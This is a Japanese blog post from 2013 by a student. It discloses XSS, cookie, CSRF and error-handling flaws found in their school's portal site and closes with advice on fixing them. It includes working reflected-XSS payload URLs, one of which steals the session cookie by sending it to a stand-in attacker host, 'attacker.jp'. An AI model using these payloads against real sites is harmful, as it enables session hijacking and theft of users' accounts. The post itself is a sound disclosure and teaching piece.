7月 142013
 

僕が通っているとある専門学校のポータルサイトで発見した脆弱性についてと、その脆弱性の対策について書きたいと思います。

ポータルサイトにログインすると、以下のURLのポータルページへ飛ばされます

https://portal.EXAMPLE.ac.jp/portal/top.do?portalId=XXXXX

portalIdにはログインしたユーザーに対応するユニークなIDが付与されています。
そこに他人のユーザーID等を入力すると、権限がない旨が表示されます。
一見問題がない仕様のように思われますが、権限がない旨を表示するページには大きな脆弱性がありました。以下が不正なIDを入力した時のエラーメッセージです

予期せぬ例外が発生しました。 [PO-00012] 無効なポータルが指定されました[portalId=XXXXXX]

赤色の文字の部分にはportalIdに入力した文字列がそのまま表示されます。
セキュリティに少しでも知識がある人ならもうお分かりだと思いますが、XSS(クロスサイトスクリプティング)を発生させることができる脆弱性が存在しました。
現代にサニタイズもされていないウェブシステムが存在することにびっくりしました(情報系の学校なのに・・・)
というわけで以下のようにURLパラメータを指定することで任意のスクリプトを動作させることができました。

https://portal.EXAMPLE.ac.jp/portal/top.do?portalId=<script>alert("XSS");</script>

これが一つ目の脆弱性です。

2つ目の脆弱性はCookieに関する脆弱性でした。
学校のポータルサイトは、ログイン後一定期間ログインが維持されるようにセッションを使用しています。セッションIDが含まれたCookieはsecure属性がついており、SSL通信の場合にのみCookieの送信を許可するようになっていました。
Cookieは暗号化通信時のみにしか送信されないので一見問題がないように思います。しかし、そのCookieはHttpOnlyの属性が無効に設定されていました。
HttpOnly属性がついていないcookieは以下のコードのように、Javascriptを利用して中身を取り出すことが可能となります。

<script>
    alert(document.cookie);
</script>

以上の点を踏まえて一つ目の脆弱性であるXSSを組み合わせると、外部のサーバーにセッションIDを送信することができ、セッションハイジャックが成立します。
以下のURLをユーザーに踏ませることによって攻撃者のサーバー(ここではattacker.jp)に送信させることができます

https://portal.EXAMPLE.ac.jp/portal/top.do?portalId=<script>location.href="http://attacker.jp?"%2Bdocument.cookie</script>

(%2BはURLデコードすると「+」なります)
これが2つ目の脆弱性です。

脆弱性への対策

ここでポータルサイトに存在した脆弱性をおさらいしてみます。上記で紹介していない脆弱性についても列挙しておきます

  • XSS
  • CSRFによって、他の人にメッセージを送信することができる
  • Cookieの不適切な設定に起因するセッションハイジャック
  • 一部ページのURLにセッションIDをURLパラメータに付与している
  • clearAccessDataTop=trueをURLパラメータに含めた状態でportalIdに不正な文字列を入れるとJSPのスタックトレースを確認できる
  • 全くサニタイズが行われていない
  • Tomcat、stratusに最新のパッチが適用されていない

XSSへの対策

XSSへの対策の最も単純な方法は、「 < 」、「 > 」、「 & 」を始めとする特殊文字のエスケープ処理です。クォーテーションなどの文字列も忘れずにエスケープしましょう。
その他にも文字コードをレスポンスヘッダとmetaタグでしっかりと指定することも必要です。

セッションハイジャックへの対策

セッションIDを所持するCookieにはHttpOnly、Secure属性をtrueに指定しましょう。
Secure属性を付与することで、暗号化通信時以外ではcookieを送信しなくなるため、盗聴によるセッションハイジャックを軽減することができます。
HttpOnly属性を付与することでCookieはjavascriptなどでの操作ができなくなります。
また、セッションIDをURLパラメータに含めるような設計は避けましょう。

以上で外部にセッションIDが漏れる可能性はかなり減ります。

スタックトレースが表示されないようにする

適切な例外処理を行いましょう。
catchする際には、想定されていない例外もキャッチできるようにExceptionの種類を指定しないcatch文を記述すべきです。

スタックトレースには使用しているフレームワークの種類、システム、アプリケーションのバージョン等が表示されるため、攻撃者へヒントを与えてしまいます。

疲れてきたので今回はここまでにしておきます。まだ紹介していない脆弱性などもあるので後日紹介したいと思います

 Posted by at 5:48 PM

 Leave a Reply

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>